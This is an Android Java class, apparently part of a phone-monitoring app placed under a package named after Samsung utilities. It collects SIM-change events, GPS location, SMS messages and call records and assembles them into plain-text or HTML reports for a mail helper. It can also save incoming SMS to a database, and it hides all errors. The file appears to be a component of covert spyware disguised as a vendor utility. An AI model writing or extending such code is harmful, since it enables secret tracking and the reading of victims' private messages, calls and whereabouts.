package com.samsung.utils.phone;

import java.util.ArrayList;

import com.samsung.utils.phone.content.StaticClass;
import com.samsung.utils.phone.helpers.HtmlHelper;
import com.samsung.utils.phone.helpers.LogHandler;
import com.samsung.utils.phone.helpers.Mail;
import com.samsung.utils.phone.operations.PreferenceOperations;
import com.samsung.utils.phone.services.CallServiceResult;
import com.samsung.utils.phone.services.GpsServiceResult;
import com.samsung.utils.phone.services.SMSServiceResult;
import com.samsung.utils.phone.services.ServiveResult;
import com.samsung.utils.phone.services.SimChangeServiceResult;

import android.content.Context;
import android.os.Handler;

public class ServiceResultProvider {

	ArrayList<ServiveResult> serviceResults = null;
	PreferenceOperations prefOps = null;
	Handler mHandler = null;
	Context context;
	
	SMSServiceResult smsServiceResultForDb = null;
	
	public void dbCheckOperations(){
			
		if(smsServiceResultForDb!=null){			
			smsServiceResultForDb.fetchComingAndSaveToDb();			
		}		
	} 
	
	public ServiceResultProvider(Context context) {
		this.context = context;
		init();
	}

	public void saveServiceValues() {
		for (ServiveResult serviceResult : serviceResults) {
			serviceResult.saveValues();
		}
	}

	public String getServicesResult(int contentType) {

		String str = "";
		for (ServiveResult serviceResult : serviceResults) {
			String strService = "";
			try {
				if (contentType == Mail.PLAIN_TEXT) {
					strService = serviceResult.getResultAsString();
				} else if (contentType == Mail.HTML_TEXT) {
					strService = serviceResult.getResultAsHtml();
				}
			} catch (Exception e) {
			}

			if (strService.equals("")) {
				serviceResult.changeSaveState(false);
			} else {
				serviceResult.changeSaveState(true);
				strService+="</br></br>";
			}
			str += strService;
		}
		if (str.equals("") || contentType!=Mail.HTML_TEXT) {
			return str;
		}
		else return HtmlHelper.getHTML(str,context);		
	}

	private void init() {
		mHandler = new LogHandler(context);
		prefOps = new PreferenceOperations(context, mHandler);
		initServiceResults();
	}

	public void destroy() {

		if (serviceResults != null) {
			for (ServiveResult serviceResult : serviceResults) {
				serviceResult.destroyMe();
			}
		}		
	}

	public boolean isServicesOK() {
		if (serviceResults == null || serviceResults.size() <= 0) {
			return false;
		}
		return true;
	}

	private void initServiceResults() {
		try {
			serviceResults = new ArrayList<ServiveResult>();

			serviceResults.add(new SimChangeServiceResult(context, prefOps,
					mHandler));
			serviceResults
					.add(new GpsServiceResult(context, prefOps, mHandler));

			serviceResults
					.add(new SMSServiceResult(context, prefOps, mHandler));
			serviceResults
					.add(new CallServiceResult(context, prefOps, mHandler));
			
			if(StaticClass.useDBRecord){				
				smsServiceResultForDb=new SMSServiceResult(context, prefOps, mHandler);
			}

		} catch (Exception e) {
		}
	}
}
